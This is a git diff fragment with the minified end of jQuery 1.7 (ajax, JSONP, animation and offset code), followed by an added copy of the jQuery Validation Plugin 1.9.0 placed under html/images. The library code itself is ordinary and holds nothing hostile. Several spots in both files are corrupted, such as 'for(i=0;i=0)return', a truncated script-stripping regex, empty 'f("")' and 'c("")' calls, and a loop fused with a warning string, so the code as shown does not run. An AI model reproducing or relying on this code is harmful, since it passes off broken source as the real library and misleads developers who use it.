p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bq,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,b){var c,d,e;b=b.replace(bs,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b)));return c}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f===null&&g&&(e=g[b])&&(f=e),!bt.test(f)&&bu.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f||0,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\[\]$/,bF=/\r?\n/g,bG=/#.*$/,bH=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\/\//,bM=/\?/,bN=/)<[^<]*)*<\/script>/gi,bO=/^(?:select|textarea)/i,bP=/\s+/,bQ=/([?&])_=[^&]*/,bR=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=["*/"]+["*"];try{bV=e.href}catch(bY){bV=c.createElement("a"),bV.href="",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
").append(c.replace(bN,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,"\r\n")}}):{name:b.name,value:c.replace(bF,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cc(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bP),d.crossDomain==null&&(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]&&r[2]==bW[2]&&(r[3]||(r[1]==="http:"?80:443))==(bW[3]||(bW[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bM.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,"$1_="+x);d.url=y+(y===d.url?(bM.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bX+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join("&").replace(bD,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cd++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ce.test(b.url)||e&&ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ce,l),b.url===j&&(e&&(k=k.replace(ce,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cf&&delete ch[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf&&(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cp,cq=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window); \ No newline at end of file diff --git a/html/images/jquery.validate.min.js b/html/images/jquery.validate.min.js new file mode 100644 index 0000000..edd6452 --- /dev/null +++ b/html/images/jquery.validate.min.js @@ -0,0 +1,51 @@ +/** + * jQuery Validation Plugin 1.9.0 + * + * http://bassistance.de/jquery-plugins/jquery-plugin-validation/ + * http://docs.jquery.com/Plugins/Validation + * + * Copyright (c) 2006 - 2011 Jörn Zaefferer + * + * Dual licensed under the MIT and GPL licenses: + * http://www.opensource.org/licenses/mit-license.php + * http://www.gnu.org/licenses/gpl.html + */ +(function(c){c.extend(c.fn,{validate:function(a){if(this.length){var b=c.data(this[0],"validator");if(b)return b;this.attr("novalidate","novalidate");b=new c.validator(a,this[0]);c.data(this[0],"validator",b);if(b.settings.onsubmit){a=this.find("input, button");a.filter(".cancel").click(function(){b.cancelSubmit=true});b.settings.submitHandler&&a.filter(":submit").click(function(){b.submitButton=this});this.submit(function(d){function e(){if(b.settings.submitHandler){if(b.submitButton)var f=c("").attr("name", +b.submitButton.name).val(b.submitButton.value).appendTo(b.currentForm);b.settings.submitHandler.call(b,b.currentForm);b.submitButton&&f.remove();return false}return true}b.settings.debug&&d.preventDefault();if(b.cancelSubmit){b.cancelSubmit=false;return e()}if(b.form()){if(b.pendingRequest){b.formSubmitted=true;return false}return e()}else{b.focusInvalid();return false}})}return b}else a&&a.debug&&window.console&&console.warn("nothing selected, can't validate, returning nothing")},valid:function(){if(c(this[0]).is("form"))return this.validate().form(); +else{var a=true,b=c(this[0].form).validate();this.each(function(){a&=b.element(this)});return a}},removeAttrs:function(a){var b={},d=this;c.each(a.split(/\s/),function(e,f){b[f]=d.attr(f);d.removeAttr(f)});return b},rules:function(a,b){var d=this[0];if(a){var e=c.data(d.form,"validator").settings,f=e.rules,g=c.validator.staticRules(d);switch(a){case "add":c.extend(g,c.validator.normalizeRule(b));f[d.name]=g;if(b.messages)e.messages[d.name]=c.extend(e.messages[d.name],b.messages);break;case "remove":if(!b){delete f[d.name]; +return g}var h={};c.each(b.split(/\s/),function(j,i){h[i]=g[i];delete g[i]});return h}}d=c.validator.normalizeRules(c.extend({},c.validator.metadataRules(d),c.validator.classRules(d),c.validator.attributeRules(d),c.validator.staticRules(d)),d);if(d.required){e=d.required;delete d.required;d=c.extend({required:e},d)}return d}});c.extend(c.expr[":"],{blank:function(a){return!c.trim(""+a.value)},filled:function(a){return!!c.trim(""+a.value)},unchecked:function(a){return!a.checked}});c.validator=function(a, +b){this.settings=c.extend(true,{},c.validator.defaults,a);this.currentForm=b;this.init()};c.validator.format=function(a,b){if(arguments.length==1)return function(){var d=c.makeArray(arguments);d.unshift(a);return c.validator.format.apply(this,d)};if(arguments.length>2&&b.constructor!=Array)b=c.makeArray(arguments).slice(1);if(b.constructor!=Array)b=[b];c.each(b,function(d,e){a=a.replace(RegExp("\\{"+d+"\\}","g"),e)});return a};c.extend(c.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error", +validClass:"valid",errorElement:"label",focusInvalid:true,errorContainer:c([]),errorLabelContainer:c([]),onsubmit:true,ignore:":hidden",ignoreTitle:false,onfocusin:function(a){this.lastActive=a;if(this.settings.focusCleanup&&!this.blockFocusCleanup){this.settings.unhighlight&&this.settings.unhighlight.call(this,a,this.settings.errorClass,this.settings.validClass);this.addWrapper(this.errorsFor(a)).hide()}},onfocusout:function(a){if(!this.checkable(a)&&(a.name in this.submitted||!this.optional(a)))this.element(a)}, +onkeyup:function(a){if(a.name in this.submitted||a==this.lastElement)this.element(a)},onclick:function(a){if(a.name in this.submitted)this.element(a);else a.parentNode.name in this.submitted&&this.element(a.parentNode)},highlight:function(a,b,d){a.type==="radio"?this.findByName(a.name).addClass(b).removeClass(d):c(a).addClass(b).removeClass(d)},unhighlight:function(a,b,d){a.type==="radio"?this.findByName(a.name).removeClass(b).addClass(d):c(a).removeClass(b).addClass(d)}},setDefaults:function(a){c.extend(c.validator.defaults, +a)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits.",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:c.validator.format("Please enter no more than {0} characters."), +minlength:c.validator.format("Please enter at least {0} characters."),rangelength:c.validator.format("Please enter a value between {0} and {1} characters long."),range:c.validator.format("Please enter a value between {0} and {1}."),max:c.validator.format("Please enter a value less than or equal to {0}."),min:c.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:false,prototype:{init:function(){function a(e){var f=c.data(this[0].form,"validator"),g="on"+e.type.replace(/^validate/, +"");f.settings[g]&&f.settings[g].call(f,this[0],e)}this.labelContainer=c(this.settings.errorLabelContainer);this.errorContext=this.labelContainer.length&&this.labelContainer||c(this.currentForm);this.containers=c(this.settings.errorContainer).add(this.settings.errorLabelContainer);this.submitted={};this.valueCache={};this.pendingRequest=0;this.pending={};this.invalid={};this.reset();var b=this.groups={};c.each(this.settings.groups,function(e,f){c.each(f.split(/\s/),function(g,h){b[h]=e})});var d= +this.settings.rules;c.each(d,function(e,f){d[e]=c.validator.normalizeRule(f)});c(this.currentForm).validateDelegate("[type='text'], [type='password'], [type='file'], select, textarea, [type='number'], [type='search'] ,[type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'] ","focusin focusout keyup",a).validateDelegate("[type='radio'], [type='checkbox'], select, option","click", +a);this.settings.invalidHandler&&c(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler)},form:function(){this.checkForm();c.extend(this.submitted,this.errorMap);this.invalid=c.extend({},this.errorMap);this.valid()||c(this.currentForm).triggerHandler("invalid-form",[this]);this.showErrors();return this.valid()},checkForm:function(){this.prepareForm();for(var a=0,b=this.currentElements=this.elements();b[a];a++)this.check(b[a]);return this.valid()},element:function(a){this.lastElement= +a=this.validationTargetFor(this.clean(a));this.prepareElement(a);this.currentElements=c(a);var b=this.check(a);if(b)delete this.invalid[a.name];else this.invalid[a.name]=true;if(!this.numberOfInvalids())this.toHide=this.toHide.add(this.containers);this.showErrors();return b},showErrors:function(a){if(a){c.extend(this.errorMap,a);this.errorList=[];for(var b in a)this.errorList.push({message:a[b],element:this.findByName(b)[0]});this.successList=c.grep(this.successList,function(d){return!(d.name in a)})}this.settings.showErrors? +this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){c.fn.resetForm&&c(this.currentForm).resetForm();this.submitted={};this.lastElement=null;this.prepareForm();this.hideErrors();this.elements().removeClass(this.settings.errorClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(a){var b=0,d;for(d in a)b++;return b},hideErrors:function(){this.addWrapper(this.toHide).hide()},valid:function(){return this.size()== +0},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid)try{c(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus().trigger("focusin")}catch(a){}},findLastActive:function(){var a=this.lastActive;return a&&c.grep(this.errorList,function(b){return b.element.name==a.name}).length==1&&a},elements:function(){var a=this,b={};return c(this.currentForm).find("input, select, textarea").not(":submit, :reset, :image, [disabled]").not(this.settings.ignore).filter(function(){!this.name&& +a.settings.debug&&window.console&&console.error("%o has no name assigned",this);if(this.name in b||!a.objectLength(c(this).rules()))return false;return b[this.name]=true})},clean:function(a){return c(a)[0]},errors:function(){return c(this.settings.errorElement+"."+this.settings.errorClass,this.errorContext)},reset:function(){this.successList=[];this.errorList=[];this.errorMap={};this.toShow=c([]);this.toHide=c([]);this.currentElements=c([])},prepareForm:function(){this.reset();this.toHide=this.errors().add(this.containers)}, +prepareElement:function(a){this.reset();this.toHide=this.errorsFor(a)},check:function(a){a=this.validationTargetFor(this.clean(a));var b=c(a).rules(),d=false,e;for(e in b){var f={method:e,parameters:b[e]};try{var g=c.validator.methods[e].call(this,a.value.replace(/\r/g,""),a,f.parameters);if(g=="dependency-mismatch")d=true;else{d=false;if(g=="pending"){this.toHide=this.toHide.not(this.errorsFor(a));return}if(!g){this.formatAndAdd(a,f);return false}}}catch(h){this.settings.debug&&window.console&&console.log("exception occured when checking element "+ +a.id+", check the '"+f.method+"' method",h);throw h;}}if(!d){this.objectLength(b)&&this.successList.push(a);return true}},customMetaMessage:function(a,b){if(c.metadata){var d=this.settings.meta?c(a).metadata()[this.settings.meta]:c(a).metadata();return d&&d.messages&&d.messages[b]}},customMessage:function(a,b){var d=this.settings.messages[a];return d&&(d.constructor==String?d:d[b])},findDefined:function(){for(var a=0;aWarning: No message defined for "+a.name+"")},formatAndAdd:function(a,b){var d=this.defaultMessage(a,b.method),e=/\$?\{(\d+)\}/g;if(typeof d=="function")d=d.call(this,b.parameters,a);else if(e.test(d))d=jQuery.format(d.replace(e,"{$1}"),b.parameters);this.errorList.push({message:d,element:a});this.errorMap[a.name]=d;this.submitted[a.name]= +d},addWrapper:function(a){if(this.settings.wrapper)a=a.add(a.parent(this.settings.wrapper));return a},defaultShowErrors:function(){for(var a=0;this.errorList[a];a++){var b=this.errorList[a];this.settings.highlight&&this.settings.highlight.call(this,b.element,this.settings.errorClass,this.settings.validClass);this.showLabel(b.element,b.message)}if(this.errorList.length)this.toShow=this.toShow.add(this.containers);if(this.settings.success)for(a=0;this.successList[a];a++)this.showLabel(this.successList[a]); +if(this.settings.unhighlight){a=0;for(b=this.validElements();b[a];a++)this.settings.unhighlight.call(this,b[a],this.settings.errorClass,this.settings.validClass)}this.toHide=this.toHide.not(this.toShow);this.hideErrors();this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return c(this.errorList).map(function(){return this.element})},showLabel:function(a,b){var d=this.errorsFor(a);if(d.length){d.removeClass(this.settings.validClass).addClass(this.settings.errorClass); +d.attr("generated")&&d.html(b)}else{d=c("<"+this.settings.errorElement+"/>").attr({"for":this.idOrName(a),generated:true}).addClass(this.settings.errorClass).html(b||"");if(this.settings.wrapper)d=d.hide().show().wrap("<"+this.settings.wrapper+"/>").parent();this.labelContainer.append(d).length||(this.settings.errorPlacement?this.settings.errorPlacement(d,c(a)):d.insertAfter(a))}if(!b&&this.settings.success){d.text("");typeof this.settings.success=="string"?d.addClass(this.settings.success):this.settings.success(d)}this.toShow= +this.toShow.add(d)},errorsFor:function(a){var b=this.idOrName(a);return this.errors().filter(function(){return c(this).attr("for")==b})},idOrName:function(a){return this.groups[a.name]||(this.checkable(a)?a.name:a.id||a.name)},validationTargetFor:function(a){if(this.checkable(a))a=this.findByName(a.name).not(this.settings.ignore)[0];return a},checkable:function(a){return/radio|checkbox/i.test(a.type)},findByName:function(a){var b=this.currentForm;return c(document.getElementsByName(a)).map(function(d, +e){return e.form==b&&e.name==a&&e||null})},getLength:function(a,b){switch(b.nodeName.toLowerCase()){case "select":return c("option:selected",b).length;case "input":if(this.checkable(b))return this.findByName(b.name).filter(":checked").length}return a.length},depend:function(a,b){return this.dependTypes[typeof a]?this.dependTypes[typeof a](a,b):true},dependTypes:{"boolean":function(a){return a},string:function(a,b){return!!c(a,b.form).length},"function":function(a,b){return a(b)}},optional:function(a){return!c.validator.methods.required.call(this, +c.trim(a.value),a)&&"dependency-mismatch"},startRequest:function(a){if(!this.pending[a.name]){this.pendingRequest++;this.pending[a.name]=true}},stopRequest:function(a,b){this.pendingRequest--;if(this.pendingRequest<0)this.pendingRequest=0;delete this.pending[a.name];if(b&&this.pendingRequest==0&&this.formSubmitted&&this.form()){c(this.currentForm).submit();this.formSubmitted=false}else if(!b&&this.pendingRequest==0&&this.formSubmitted){c(this.currentForm).triggerHandler("invalid-form",[this]);this.formSubmitted= +false}},previousValue:function(a){return c.data(a,"previousValue")||c.data(a,"previousValue",{old:null,valid:true,message:this.defaultMessage(a,"remote")})}},classRuleSettings:{required:{required:true},email:{email:true},url:{url:true},date:{date:true},dateISO:{dateISO:true},dateDE:{dateDE:true},number:{number:true},numberDE:{numberDE:true},digits:{digits:true},creditcard:{creditcard:true}},addClassRules:function(a,b){a.constructor==String?this.classRuleSettings[a]=b:c.extend(this.classRuleSettings, +a)},classRules:function(a){var b={};(a=c(a).attr("class"))&&c.each(a.split(" "),function(){this in c.validator.classRuleSettings&&c.extend(b,c.validator.classRuleSettings[this])});return b},attributeRules:function(a){var b={};a=c(a);for(var d in c.validator.methods){var e;if(e=d==="required"&&typeof c.fn.prop==="function"?a.prop(d):a.attr(d))b[d]=e;else if(a[0].getAttribute("type")===d)b[d]=true}b.maxlength&&/-1|2147483647|524288/.test(b.maxlength)&&delete b.maxlength;return b},metadataRules:function(a){if(!c.metadata)return{}; +var b=c.data(a.form,"validator").settings.meta;return b?c(a).metadata()[b]:c(a).metadata()},staticRules:function(a){var b={},d=c.data(a.form,"validator");if(d.settings.rules)b=c.validator.normalizeRule(d.settings.rules[a.name])||{};return b},normalizeRules:function(a,b){c.each(a,function(d,e){if(e===false)delete a[d];else if(e.param||e.depends){var f=true;switch(typeof e.depends){case "string":f=!!c(e.depends,b.form).length;break;case "function":f=e.depends.call(b,b)}if(f)a[d]=e.param!==undefined? +e.param:true;else delete 